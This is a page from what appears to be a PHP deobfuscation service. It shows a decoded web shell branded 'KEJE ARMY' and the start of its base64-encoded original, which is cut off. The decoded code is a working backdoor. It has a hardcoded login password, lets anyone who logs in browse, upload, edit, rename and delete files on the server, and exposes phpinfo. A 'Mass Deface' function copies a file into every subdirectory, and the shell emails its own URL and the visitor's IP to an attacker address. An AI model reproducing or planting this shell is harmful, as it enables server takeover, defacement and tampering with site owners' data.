Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHY5blkxOyBuV2g1TzogaWYgKGlzc2V0KCRfR0VUWyJceDYxXHg2M1wx..

Decoded Output download


 goto v9nY1; nWh5O: if (isset($_GET["action"]) && $_GET["action"] === "logout") { session_destroy(); header("Location: " . $_SERVER["REQUEST_URI"]); die; } goto UIda8; RUjvQ: $correct_password = "stellacantik"; goto UarbW; QsQDu: if ($_SERVER["REQUEST_METHOD"] === "GET" && isset($_GET["action"]) && $_GET["action"] === "edit" && isset($_GET["file"])) { $file_path = $_GET["file"]; if (file_exists($file_path)) { editFile($file_path); } else { echo "<p class='error-message'>File tidak ditemukan: " . basename($file_path) . "</p>"; } } goto xWe4E; XC6kG: if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["uploaded_file"]) && $_POST["action"] === "Upload") { $upload_dir = $directory; $file_name = $_FILES["uploaded_file"]["name"]; $file_tmp = $_FILES["uploaded_file"]["tmp_name"]; $file_error = $_FILES["uploaded_file"]["error"]; if ($file_error === UPLOAD_ERR_OK) { if (move_uploaded_file($file_tmp, "{$upload_dir}/{$file_name}")) { echo "<p class='success-message'>File berhasil diunggah: {$file_name}</p>"; } else { echo "<p class='error-message'>Maaf, terjadi kesalahan saat mengunggah file.</p>"; } } else { echo "<p class='error-message'>Maaf, terjadi kesalahan saat mengunggah file: "; switch ($file_error) { case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: echo "Ukuran file terlalu besar."; break; case UPLOAD_ERR_PARTIAL: echo "File hanya sebagian terunggah."; break; case UPLOAD_ERR_NO_FILE: echo "Tidak ada file yang diunggah."; break; case UPLOAD_ERR_NO_TMP_DIR: echo "Direktori sementara tidak ditemukan."; break; case UPLOAD_ERR_CANT_WRITE: echo "Gagal menulis file ke disk."; break; case UPLOAD_ERR_EXTENSION: echo "Upload file dihentikan oleh ekstensi PHP."; break; default: echo "Terjadi kesalahan yang tidak diketahui."; break; } echo "</p>"; } } goto PBqHP; P3uWU: echo $directory; goto Dfnxt; cXO_G: displayFiles($directory); goto zXD9v; qlpGi: mail($tujuanmail, "LOGGER", $pesan_alert, "From: [ " . $_SERVER["REMOTE_ADDR"] . " ]"); goto nWh5O; DU9ts: header("Content-Type: text/html; charset=UTF-8"); goto Xy8Ft; q87KK: function editFile($file_path) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) { file_put_contents($file_path, $_POST["file_content"]); echo "<p class='success-message'>File berhasil diperbarui.</p>"; } $content = file_get_contents($file_path); echo "<form method='post'>"; echo "<textarea name='file_content' rows='20' cols='80'>{$content}</textarea><br>"; echo "<input type='submit' value='Save'>"; echo "</form>"; } goto oCnF0; RMfag: if (isset($_GET["action"]) && $_GET["action"] === "phpinfo") { phpinfo(); die; } goto uyd7u; oBZq4: ini_set("memory_limit", "64M"); goto DU9ts; Jgq2s: ?>
"id="home-button">Home</a> <a class="button"href="#"id="upload-all-button"onclick='document.getElementById("uploadAllForm").style.display="block"'>Mass Deface</a> <a class="button"href="?action=phpinfo"id="phpinfo-button">PHP Info</a> <a class="button"href="?action=logout"id="logout-button">Logout</a></div><?php  goto RMfag; IYYTw: function getFiles($directory) { $files = array(); $dir = opendir($directory); while (($file = readdir($dir)) !== false) { if ($file != "." && $file != "..") { $files[] = $file; } } closedir($dir); return $files; } goto wnUnY; PBqHP: if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["uploaded_file_all"]) && $_POST["action"] === "Mass Deface") { $file_name = $_FILES["uploaded_file_all"]["name"]; $file_tmp = $_FILES["uploaded_file_all"]["tmp_name"]; $file_error = $_FILES["uploaded_file_all"]["error"]; if ($file_error === UPLOAD_ERR_OK) { $directories = getDirectories($directory); foreach ($directories as $dir) { if (!copy($file_tmp, "{$dir}/{$file_name}")) { echo "<p class='error-message'>Maaf, terjadi kesalahan saat mengunggah file ke direktori: {$dir}</p>"; } } echo "<p class='success-message'>File berhasil diunggah ke semua direktori: {$file_name}</p>"; } else { echo "<p class='error-message'>Maaf, terjadi kesalahan saat mengunggah file: "; switch ($file_error) { case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: echo "Ukuran file terlalu besar."; break; case UPLOAD_ERR_PARTIAL: echo "File hanya sebagian terunggah."; break; case UPLOAD_ERR_NO_FILE: echo "Tidak ada file yang diunggah."; break; case UPLOAD_ERR_NO_TMP_DIR: echo "Direktori sementara tidak ditemukan."; break; case UPLOAD_ERR_CANT_WRITE: echo "Gagal menulis file ke disk."; break; case UPLOAD_ERR_EXTENSION: echo "Upload file dihentikan oleh ekstensi PHP."; break; default: echo "Terjadi kesalahan yang tidak diketahui."; break; } echo "</p>"; } } goto XXTeI; njQnR: if (!isset($_SESSION["authenticated"])) { echo "<form method="post">"; echo "<label for="password">KEJE ARMY</label><br>"; echo "<input type="password" name="password" required><br>"; echo "<input type="submit" value="Submit"><br>"; if ($password_error) { echo "<p class='error-message'>{$password_error}</p>"; } echo "</form>"; echo "</body></html>"; die; } goto R0sDO; XiNT3: $directory = isset($_GET["dir"]) ? realpath($_GET["dir"]) : realpath(__DIR__); goto aOCsY; XXTeI: if ($_SERVER["REQUEST_METHOD"] === "GET" && isset($_GET["action"]) && $_GET["action"] === "delete" && isset($_GET["file"])) { $file_path = $_GET["file"]; if (file_exists($file_path)) { if (unlink($file_path)) { echo "<p class='success-message'>File berhasil dihapus: " . basename($file_path) . "</p>"; } else { echo "<p class='error-message'>Gagal menghapus file: " . basename($file_path) . "</p>"; } } else { echo "<p class='error-message'>File tidak ditemukan: " . basename($file_path) . "</p>"; } } goto QsQDu; kzUQK: echo realpath(__DIR__); goto Jgq2s; p3U2l: echo $directory; goto GGDL5; Dfnxt: ?>
"id="dirInput"></form><script>function confirmDelete(e){return confirm("Apakah Anda yakin ingin menghapus file '"+e+"'?")}document.addEventListener("DOMContentLoaded",function(){for(var e=document.getElementById("dirInput").value.split("/"),n="",t=0;t<e.length;t++){n+=e[t]+"/";var d=document.createElement("a");d.href="?dir="+n,d.textContent=e[t],document.body.appendChild(d),t<e.length-1&&document.body.appendChild(document.createTextNode("/"))}})</script><form action=""enctype="multipart/form-data"method="post"><label for="file">Upload File Disini:</label><br><input name="uploaded_file"type="file"><br><input name="action"type="submit"value="Upload"></form><form action=""enctype="multipart/form-data"method="post"id="uploadAllForm"style="display:none"><label for="fileAll">Mass Deface:</label><br><input name="uploaded_file_all"type="file"><br><input name="action"type="submit"value="Mass Deface"></form><?php  goto IYYTw; GIPJ6: ini_set("display_errors", 1); goto RUjvQ; Kjh7x: function displayFiles($directory) { $files = getFiles($directory); echo "<table>"; echo "<tr><th>File/Folder</th><th>Actions</th></tr>"; foreach ($files as $file) { $filePath = $directory . "/" . $file; echo "<tr>"; if (is_dir($filePath)) { echo "<td><a href='?dir={$filePath}'>{$file}/</a></td>"; echo "<td></td>"; } else { echo "<td><a href='{$filePath}'>{$file}</a></td>"; echo "<td>"; echo "<a href='?action=edit&file={$filePath}'>Edit</a> | "; echo "<a href='?action=rename&file={$filePath}'>Rename</a> | "; echo "<a href='?action=delete&file={$filePath}' onclick='return confirmDelete("{$file}")'>Delete</a>"; echo "</td>"; } echo "</tr>"; } echo "</table>"; } goto q87KK; aOCsY: ?>
<p>Current Directory:<?php  goto p3U2l; YoEKZ: ini_set("display_errors", 0); goto SbE_r; CuXIC: ini_set("output_buffering", 0); goto YoEKZ; uyd7u: ?>
<form id="dirForm"><input name="dir"type="hidden"value="<?php  goto P3uWU; GGDL5: ?>
</p><div class="button-container"><a class="button"href="?dir=<?php  goto kzUQK; UarbW: $password_error = ''; goto DR3QF; v9nY1: session_start(); goto QEgjm; DR3QF: if (!isset($_SESSION["authenticated"])) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["password"])) { if ($_POST["password"] === $correct_password) { $_SESSION["authenticated"] = true; header("Location: " . $_SERVER["REQUEST_URI"]); die; } else { $password_error = "Password salah!"; } } } goto CuXIC; Xy8Ft: $tujuanmail = "[email protected]"; goto upahY; oCnF0: function renameFile($file_path) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["new_name"])) { $directory = dirname($file_path); $new_name = $_POST["new_name"]; $new_path = $directory . "/" . $new_name; if (rename($file_path, $new_path)) { echo "<p class='success-message'>File berhasil diubah namanya menjadi: {$new_name}</p>"; } else { echo "<p class='error-message'>Gagal mengubah nama file.</p>"; } } $file_name = basename($file_path); echo "<form method='post'>"; echo "<label for='new_name'>New Name:</label>"; echo "<input type='text' name='new_name' value='{$file_name}'><br>"; echo "<input type='submit' value='Rename'>"; echo "</form>"; } goto XC6kG; R0sDO: ?>
<h2>KEJE ARMY</h2><img alt="Logo"id="logo"src="https://i.ibb.co/TTpzwxG/20231024-000001-picsay.png"><?php  goto XiNT3; wnUnY: function getDirectories($directory) { $dirs = array(); $dir = opendir($directory); while (($file = readdir($dir)) !== false) { if ($file != "." && $file != ".." && is_dir($directory . "/" . $file)) { $dirs[] = realpath($directory . "/" . $file); $dirs = array_merge($dirs, getDirectories($directory . "/" . $file)); } } closedir($dir); return $dirs; } goto Kjh7x; SbE_r: set_time_limit(0); goto oBZq4; BkAOi: $pesan_alert = "fix {$x_path} :p *IP Address : [ " . $_SERVER["REMOTE_ADDR"] . " ]"; goto qlpGi; UIda8: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>KEJE ARMY</title><style>body{font-family:Arial,sans-serif;background-color:#000;color:#fff;text-align:center;padding-top:20px}h2{color:red}table{margin:0 auto;width:80%;border-collapse:collapse}td,th{padding:10px;border:1px solid #fff;text-align:left}a{color:#21a622;text-decoration:none}a:hover{text-decoration:underline}input[type=file],input[type=password],input[type=submit],input[type=text]{margin-bottom:10px}.success-message{color:green}.error-message{color:red}#logo{width:100px;height:auto}.button{display:inline-block;padding:10px 20px;background-color:red;color:#fff;border:none;border-radius:5px;text-decoration:none;font-size:16px;margin:5px}.button:hover{background-color:#c00}.button-container{display:flex;justify-content:center;flex-wrap:wrap;gap:10px}</style></head><body><?php  goto njQnR; xWe4E: if ($_SERVER["REQUEST_METHOD"] === "GET" && isset($_GET["action"]) && $_GET["action"] === "rename" && isset($_GET["file"])) { $file_path = $_GET["file"]; renameFile($file_path); } goto cXO_G; QEgjm: error_reporting(E_ALL); goto GIPJ6; upahY: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto BkAOi; zXD9v: ?>
</body></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIHY5blkxOyBuV2g1TzogaWYgKGlzc2V0KCRfR0VUWyJceDYxXHg2M1wxNjRcMTUxXDE1N1wxNTYiXSkgJiYgJF9HRVRbIlx4NjFceDYzXHg3NFwxNTFceDZmXHg2ZSJdID09PSAiXDE1NFx4NmZceDY3XDE1N1x4NzVcMTY0IikgeyBzZXNzaW9uX2Rlc3Ryb3koKTsgaGVhZGVyKCJcMTE0XHg2Zlx4NjNceDYxXHg3NFwxNTFcMTU3XHg2ZVw3Mlw0MCIgLiAkX1NFUlZFUlsiXDEyMlx4NDVcMTIxXDEyNVwxMDVceDUzXHg1NFx4NWZcMTI1XDEyMlwxMTEiXSk7IGRpZTsgfSBnb3RvIFVJZGE4OyBSVWp2UTogJGNvcnJlY3RfcGFzc3dvcmQgPSAiXHg3M1wxNjRceDY1XDE1NFx4NmNceDYxXDE0M1wxNDFcMTU2XHg3NFx4NjlceDZiIjsgZ290byBVYXJiVzsgUXNRRHU6IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVwxMDVceDUzXHg1NFwxMzdcMTE1XDEwNVwxMjRceDQ4XDExN1x4NDQiXSA9PT0gIlwxMDdcMTA1XHg1NCIgJiYgaXNzZXQoJF9HRVRbIlwxNDFcMTQzXHg3NFx4NjlceDZmXDE1NiJdKSAmJiAkX0dFVFsiXDE0MVx4NjNceDc0XDE1MVwxNTdceDZlIl0gPT09ICJceDY1XHg2NFx4NjlceDc0IiAmJiBpc3NldCgkX0dFVFsiXDE0Nlx4NjlcMTU0XHg2NSJdKSkgeyAkZmlsZV9wYXRoID0gJF9HRVRbIlwxNDZceDY5XDE1NFwxNDUiXTsgaWYgKGZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSB7IGVkaXRGaWxlKCRmaWxlX3BhdGgpOyB9IGVsc2UgeyBlY2hvICJceDNjXHg3MFw0MFwxNDNceDZjXDE0MVwxNjNcMTYzXHgzZFx4MjdcMTQ1XDE2MlwxNjJceDZmXHg3Mlx4MmRcMTU1XDE0NVx4NzNcMTYzXDE0MVwxNDdceDY1XHgyN1x4M2VcMTA2XHg2OVwxNTRcMTQ1XDQwXDE2NFx4NjlceDY0XDE0MVx4NmJcNDBceDY0XDE1MVx4NzRcMTQ1XHg2ZFwxNjVceDZiXDE0MVx4NmVceDNhXDQwIiAuIGJhc2VuYW1lKCRmaWxlX3BhdGgpIC4gIlw3NFx4MmZceDcwXDc2IjsgfSB9IGdvdG8geFdlNEU7IFhDNmtHOiBpZiAoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVx4NTVcMTA1XDEyM1wxMjRcMTM3XHg0ZFwxMDVcMTI0XHg0OFx4NGZceDQ0Il0gPT09ICJceDUwXHg0ZlwxMjNcMTI0IiAmJiBpc3NldCgkX0ZJTEVTWyJceDc1XDE2MFx4NmNceDZmXDE0MVx4NjRceDY1XHg2NFwxMzdcMTQ2XHg2OVx4NmNcMTQ1Il0pICYmICRfUE9TVFsiXHg2MVx4NjNceDc0XHg2OVwxNTdcMTU2Il0gPT09ICJceDU1XHg3MFwxNTRceDZmXHg2MVwxNDQiKSB7ICR1cGxvYWRfZGlyID0gJGRpcmVjdG9yeTsgJGZpbGVfbmFtZSA9ICRfRklMRVNbIlx4NzVceDcwXHg2Y1x4NmZceDYxXDE0NFwxNDVceDY0XHg1Zlx4NjZcMTUxXHg2Y1x4NjUiXVsiXDE1NlwxNDFcMTU1XHg2NSJdOyAkZmlsZV90bXAgPSAkX0ZJTEVTWyJceDc1XDE2MFx4NmNcMTU3XHg2MVwxNDRcMTQ1XHg2NFwxMzdcMTQ2XDE1MVx4NmNcMTQ1Il1bIlx4NzRceDZkXDE2MFx4NWZceDZlXDE0MVx4NmRcMTQ1Il07ICRmaWxlX2Vycm9yID0gJF9GSUxFU1siXHg3NVx4NzBcMTU0XDE1N1x4NjFceDY0XHg2NVx4NjRcMTM3XHg2NlwxNTFcMTU0XDE0NSJdWyJceDY1XDE2Mlx4NzJcMTU3XDE2MiJdOyBpZiAoJGZpbGVfZXJyb3IgPT09IFVQTE9BRF9FUlJfT0spIHsgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZV90bXAsICJ7JHVwbG9hZF9kaXJ9XDU3eyRmaWxlX25hbWV9IikpIHsgZWNobyAiXDc0XHg3MFw0MFx4NjNcMTU0XHg2MVwxNjNceDczXDc1XDQ3XDE2M1x4NzVcMTQzXDE0M1wxNDVcMTYzXHg3M1x4MmRcMTU1XHg2NVwxNjNceDczXHg2MVx4NjdcMTQ1XHgyN1w3NlwxMDZceDY5XHg2Y1wxNDVcNDBceDYyXDE0NVx4NzJceDY4XHg2MVx4NzNceDY5XHg2Y1x4MjBceDY0XHg2OVwxNjVcMTU2XHg2N1wxNDdcMTQxXDE1MFx4M2FcNDB7JGZpbGVfbmFtZX1cNzRceDJmXHg3MFx4M2UiOyB9IGVsc2UgeyBlY2hvICJceDNjXDE2MFw0MFwxNDNcMTU0XDE0MVwxNjNcMTYzXHgzZFw0N1x4NjVceDcyXDE2Mlx4NmZcMTYyXDU1XHg2ZFwxNDVcMTYzXDE2M1x4NjFceDY3XHg2NVx4MjdcNzZcMTE1XDE0MVwxNDFceDY2XDU0XHgyMFx4NzRceDY1XHg3MlwxNTJceDYxXDE0NFwxNTFceDIwXHg2Ylx4NjVcMTYzXHg2MVwxNTRcMTQxXHg2OFx4NjFceDZlXDQwXDE2M1wxNDFceDYxXDE2NFx4MjBcMTU1XDE0NVx4NmVcMTQ3XDE2NVx4NmVceDY3XHg2N1wxNDFceDY4XHgyMFwxNDZceDY5XDE1NFwxNDVcNTZcNzRceDJmXHg3MFx4M2UiOyB9IH0gZWxzZSB7IGVjaG8gIlw3NFwxNjBcNDBcMTQzXDE1NFx4NjFcMTYzXHg3M1x4M2RceDI3XHg2NVx4NzJceDcyXHg2Zlx4NzJcNTVceDZkXDE0NVx4NzNcMTYzXHg2MVx4NjdcMTQ1XHgyN1w3Nlx4NGRceDYxXDE0MVwxNDZcNTRcNDBcMTY0XDE0NVwxNjJcMTUyXHg2MVx4NjRceDY5XDQwXHg2YlwxNDVcMTYzXDE0MVx4NmNcMTQxXDE1MFx4NjFcMTU2XDQwXDE2M1x4NjFceDYxXDE2NFx4MjBcMTU1XDE0NVwxNTZceDY3XHg3NVx4NmVcMTQ3XDE0N1x4NjFceDY4XDQwXDE0NlwxNTFcMTU0XHg2NVw3Mlx4MjAiOyBzd2l0Y2ggKCRmaWxlX2Vycm9yKSB7IGNhc2UgVVBMT0FEX0VSUl9JTklfU0laRTogY2FzZSBVUExPQURfRVJSX0ZPUk1fU0laRTogZWNobyAiXHg1NVx4NmJceDc1XDE2Mlx4NjFcMTU2XDQwXHg2NlwxNTFceDZjXDE0NVw0MFwxNjRceDY1XHg3Mlx4NmNceDYxXDE1NFwxNjVcNDBcMTQyXDE0NVx4NzNcMTQxXHg3Mlx4MmUiOyBicmVhazsgY2FzZSBVUExPQURfRVJSX1BBUlRJQUw6IGVjaG8gIlx4NDZcMTUxXHg2Y1x4NjVceDIwXHg2OFwxNDFceDZlXHg3OVwxNDFcNDBceDczXDE0NVx4NjJceDYxXHg2N1wxNTFceDYxXHg2ZVw0MFwxNjRcMTQ1XHg3MlwxNjVcMTU2XHg2N1x4NjdceDYxXHg2OFw1NiI7IGJyZWFrOyBjYXNlIFVQTE9BRF9FUlJfTk9fRklMRTogZWNobyAiXHg1NFwxNTFcMTQ0XHg2MVwxNTNcNDBceDYxXHg2NFwxNDFceDIwXHg2Nlx4NjlcMTU0XHg2NVw0MFwxNzFcMTQxXDE1Nlx4NjdcNDBcMTQ0XDE1MVwxNjVceDZlXDE0N1x4NjdceDYxXDE1MFw1NiI7IGJyZWFrOyBjYXNlIFVQTE9BRF9FUlJfTk9fVE1QX0RJUjogZWNobyAiXDEwNFx4NjlcMTYyXHg2NVx4NmJceDc0XHg2ZlwxNjJcMTUxXHgyMFwxNjNcMTQ1XDE1NVwxNDVceDZlXDE2NFwxNDFceDcyXHg2MVx4MjBcMTY0XHg2OVwxNDRceDYxXDE1M1x4MjBcMTQ0XHg2OVx4NzRcMTQ1XHg2ZFx4NzVceDZiXDE0MVwxNTZcNTYiOyBicmVhazsgY2FzZSBVUExPQURfRVJSX0NBTlRfV1JJVEU6IGVjaG8gIlx4NDdceDYxXHg2N1wxNDFceDZjXHgyMFx4NmRcMTQ1XDE1NlwxNjVcMTU0XHg2OVx4NzNceDIwXHg2NlwxNTFceDZjXHg2NVx4MjBcMTUzXHg2NVw0MFx4NjRceDY5XDE2M1wxNTNceDJlIjsgYnJlYWs7IGNhc2UgVVBMT0FEX0VSUl9FWFRFTlNJT046IGVjaG8gIlwxMjVcMTYwXHg2Y1x4NmZcMTQxXHg2NFw0MFwxNDZceDY5XDE1NFx4NjVcNDBceDY0XDE1MVx4NjhcMTQ1XHg2ZVwxNjRceDY5XHg2YlwxNDFcMTU2XHgyMFwxNTdcMTU0XHg2NVx4NjhcNDBceDY1XHg2YlwxNjNceDc0XHg2NVwxNTZceDczXHg2OVw0MFwxMjBcMTEwXDEyMFw1NiI7IGJyZWFrOyBkZWZhdWx0OiBlY2hvICJceDU0XDE0NVx4NzJceDZhXHg2MVx4NjRcMTUxXHgyMFwxNTNcMTQ1XHg3M1x4NjFcMTU0XDE0MVwxNTBceDYxXHg2ZVx4MjBceDc5XHg2MVwxNTZceDY3XDQwXDE2NFx4NjlcMTQ0XDE0MVx4NmJceDIwXHg2NFwxNTFceDZiXHg2NVwxNjRceDYxXDE1MFwxNjVcMTUxXHgyZSI7IGJyZWFrOyB9IGVjaG8gIlx4M2NceDJmXHg3MFx4M2UiOyB9IH0gZ290byBQQnFIUDsgUDN1V1U6IGVjaG8gJGRpcmVjdG9yeTsgZ290byBEZm54dDsgY1hPX0c6IGRpc3BsYXlGaWxlcygkZGlyZWN0b3J5KTsgZ290byB6WEQ5djsgcWxwR2k6IG1haWwoJHR1anVhbm1haWwsICJcMTE0XDExN1x4NDdceDQ3XDEwNVwxMjIiLCAkcGVzYW5fYWxlcnQsICJceDQ2XHg3Mlx4NmZcMTU1XDcyXDQwXDEzM1w0MCIgLiAkX1NFUlZFUlsiXHg1MlwxMDVcMTE1XDExN1wxMjRceDQ1XDEzN1wxMDFcMTA0XDEwNFx4NTIiXSAuICJcNDBcMTM1Iik7IGdvdG8gbldoNU87IERVOXRzOiBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRceDY1XDE1NlwxNjRcNTVcMTI0XHg3OVwxNjBceDY1XDcyXHgyMFwxNjRceDY1XHg3OFwxNjRceDJmXHg2OFx4NzRceDZkXDE1NFx4M2JceDIwXHg2M1x4NjhcMTQxXDE2Mlx4NzNcMTQ1XDE2NFw3NVx4NTVceDU0XHg0Nlx4MmRceDM4Iik7IGdvdG8gWHk4RnQ7IHE4N0tLOiBmdW5jdGlvbiBlZGl0RmlsZSgkZmlsZV9wYXRoKSB7IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVcMTIxXDEyNVx4NDVceDUzXHg1NFwxMzdceDRkXDEwNVwxMjRceDQ4XHg0ZlwxMDQiXSA9PT0gIlwxMjBceDRmXDEyM1wxMjQiICYmIGlzc2V0KCRfUE9TVFsiXDE0Nlx4NjlcMTU0XDE0NVwxMzdcMTQzXDE1N1x4NmVceDc0XHg2NVwxNTZcMTY0Il0pKSB7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRfUE9TVFsiXDE0NlwxNTFceDZjXHg2NVwxMzdcMTQzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0Il0pOyBlY2hvICJceDNjXHg3MFx4MjBcMTQzXHg2Y1x4NjFceDczXDE2M1w3NVw0N1wxNjNcMTY1XHg2M1wxNDNceDY1XHg3M1wxNjNceDJkXHg2ZFwxNDVcMTYzXHg3M1wxNDFceDY3XHg2NVx4MjdceDNlXDEwNlwxNTFcMTU0XHg2NVw0MFwxNDJceDY1XHg3MlwxNTBceDYxXHg3M1wxNTFceDZjXDQwXHg2NFwxNTFcMTYwXHg2NVx4NzJceDYyXHg2MVx4NzJcMTY1XHg2OVw1Nlw3NFx4MmZcMTYwXHgzZSI7IH0gJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsgZWNobyAiXHgzY1wxNDZcMTU3XHg3Mlx4NmRcNDBceDZkXDE0NVx4NzRceDY4XHg2ZlwxNDRceDNkXHgyN1x4NzBceDZmXHg3M1wxNjRceDI3XHgzZSI7IGVjaG8gIlw3NFwxNjRceDY1XDE3MFx4NzRcMTQxXDE2MlwxNDVcMTQxXHgyMFwxNTZcMTQxXDE1NVx4NjVceDNkXDQ3XDE0Nlx4NjlcMTU0XDE0NVwxMzdcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVcMTY0XDQ3XHgyMFx4NzJcMTU3XHg3N1x4NzNcNzVcNDdcNjJcNjBcNDdceDIwXHg2M1x4NmZceDZjXHg3M1x4M2RcNDdceDM4XDYwXHgyN1w3NnskY29udGVudH1cNzRcNTdcMTY0XHg2NVx4NzhceDc0XDE0MVwxNjJcMTQ1XHg2MVw3Nlx4M2NcMTQyXHg3Mlx4M2UiOyBlY2hvICJcNzRcMTUxXDE1Nlx4NzBceDc1XHg3NFw0MFwxNjRceDc5XHg3MFx4NjVceDNkXHgyN1x4NzNcMTY1XHg2Mlx4NmRcMTUxXHg3NFx4MjdcNDBceDc2XDE0MVwxNTRceDc1XHg2NVw3NVx4MjdcMTIzXHg2MVx4NzZceDY1XDQ3XHgzZSI7IGVjaG8gIlx4M2NcNTdcMTQ2XDE1N1x4NzJcMTU1XDc2IjsgfSBnb3RvIG9DbkYwOyBSTWZhZzogaWYgKGlzc2V0KCRfR0VUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSkgJiYgJF9HRVRbIlwxNDFcMTQzXHg3NFwxNTFcMTU3XDE1NiJdID09PSAiXDE2MFwxNTBceDcwXDE1MVx4NmVceDY2XDE1NyIpIHsgcGhwaW5mbygpOyBkaWU7IH0gZ290byB1eWQ3dTsgb0JacTQ6IGluaV9zZXQoIlx4NmRceDY1XHg2ZFwxNTdceDcyXDE3MVx4NWZceDZjXDE1MVx4NmRceDY5XHg3NCIsICJcNjZceDM0XDExNSIpOyBnb3RvIERVOXRzOyBKZ3EyczogPz4KImlkPSJob21lLWJ1dHRvbiI+SG9tZTwvYT4gPGEgY2xhc3M9ImJ1dHRvbiJocmVmPSIjImlkPSJ1cGxvYWQtYWxsLWJ1dHRvbiJvbmNsaWNrPSdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXBsb2FkQWxsRm9ybSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIic+TWFzcyBEZWZhY2U8L2E+IDxhIGNsYXNzPSJidXR0b24iaHJlZj0iP2FjdGlvbj1waHBpbmZvImlkPSJwaHBpbmZvLWJ1dHRvbiI+UEhQIEluZm88L2E+IDxhIGNsYXNzPSJidXR0b24iaHJlZj0iP2FjdGlvbj1sb2dvdXQiaWQ9ImxvZ291dC1idXR0b24iPkxvZ291dDwvYT48L2Rpdj48P3BocCAgZ290byBSTWZhZzsgSVlZVHc6IGZ1bmN0aW9uIGdldEZpbGVzKCRkaXJlY3RvcnkpIHsgJGZpbGVzID0gYXJyYXkoKTsgJGRpciA9IG9wZW5kaXIoJGRpcmVjdG9yeSk7IHdoaWxlICgoJGZpbGUgPSByZWFkZGlyKCRkaXIpKSAhPT0gZmFsc2UpIHsgaWYgKCRmaWxlICE9ICJcNTYiICYmICRmaWxlICE9ICJceDJlXDU2IikgeyAkZmlsZXNbXSA9ICRmaWxlOyB9IH0gY2xvc2VkaXIoJGRpcik7IHJldHVybiAkZmlsZXM7IH0gZ290byB3blVuWTsgUEJxSFA6IGlmICgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXDEyNVwxMDVceDUzXDEyNFwxMzdceDRkXHg0NVx4NTRceDQ4XDExN1x4NDQiXSA9PT0gIlwxMjBcMTE3XDEyM1x4NTQiICYmIGlzc2V0KCRfRklMRVNbIlx4NzVcMTYwXDE1NFx4NmZcMTQxXHg2NFx4NjVceDY0XHg1Zlx4NjZceDY5XDE1NFx4NjVceDVmXHg2MVx4NmNcMTU0Il0pICYmICRfUE9TVFsiXDE0MVx4NjNceDc0XDE1MVwxNTdceDZlIl0gPT09ICJcMTE1XDE0MVwxNjNcMTYzXHgyMFx4NDRcMTQ1XHg2NlwxNDFceDYzXDE0NSIpIHsgJGZpbGVfbmFtZSA9ICRfRklMRVNbIlwxNjVceDcwXHg2Y1wxNTdceDYxXDE0NFwxNDVceDY0XHg1Zlx4NjZceDY5XHg2Y1x4NjVcMTM3XDE0MVx4NmNcMTU0Il1bIlx4NmVcMTQxXHg2ZFx4NjUiXTsgJGZpbGVfdG1wID0gJF9GSUxFU1siXHg3NVwxNjBcMTU0XDE1N1x4NjFceDY0XHg2NVx4NjRcMTM3XHg2Nlx4NjlceDZjXDE0NVx4NWZceDYxXDE1NFwxNTQiXVsiXHg3NFx4NmRceDcwXDEzN1wxNTZcMTQxXHg2ZFwxNDUiXTsgJGZpbGVfZXJyb3IgPSAkX0ZJTEVTWyJcMTY1XHg3MFx4NmNceDZmXHg2MVwxNDRceDY1XHg2NFx4NWZceDY2XHg2OVwxNTRcMTQ1XHg1ZlwxNDFcMTU0XDE1NCJdWyJcMTQ1XDE2MlwxNjJcMTU3XHg3MiJdOyBpZiAoJGZpbGVfZXJyb3IgPT09IFVQTE9BRF9FUlJfT0spIHsgJGRpcmVjdG9yaWVzID0gZ2V0RGlyZWN0b3JpZXMoJGRpcmVjdG9yeSk7IGZvcmVhY2ggKCRkaXJlY3RvcmllcyBhcyAkZGlyKSB7IGlmICghY29weSgkZmlsZV90bXAsICJ7JGRpcn1ceDJmeyRmaWxlX25hbWV9IikpIHsgZWNobyAiXHgzY1x4NzBceDIwXDE0M1x4NmNceDYxXHg3M1wxNjNceDNkXHgyN1wxNDVceDcyXHg3Mlx4NmZceDcyXDU1XHg2ZFwxNDVceDczXDE2M1wxNDFceDY3XDE0NVx4MjdcNzZceDRkXDE0MVx4NjFceDY2XHgyY1w0MFx4NzRceDY1XHg3MlwxNTJceDYxXHg2NFx4NjlcNDBcMTUzXDE0NVwxNjNcMTQxXDE1NFx4NjFceDY4XHg2MVwxNTZcNDBceDczXHg2MVwxNDFceDc0XHgyMFwxNTVcMTQ1XDE1NlwxNDdceDc1XHg2ZVwxNDdcMTQ3XHg2MVwxNTBceDIwXHg2Nlx4NjlcMTU0XHg2NVw0MFx4NmJcMTQ1XDQwXHg2NFx4NjlcMTYyXDE0NVwxNTNceDc0XHg2ZlwxNjJcMTUxXHgzYVx4MjB7JGRpcn1ceDNjXHgyZlx4NzBceDNlIjsgfSB9IGVjaG8gIlw3NFwxNjBcNDBceDYzXDE1NFwxNDFcMTYzXHg3M1x4M2RceDI3XDE2M1wxNjVcMTQzXDE0M1wxNDVcMTYzXDE2M1x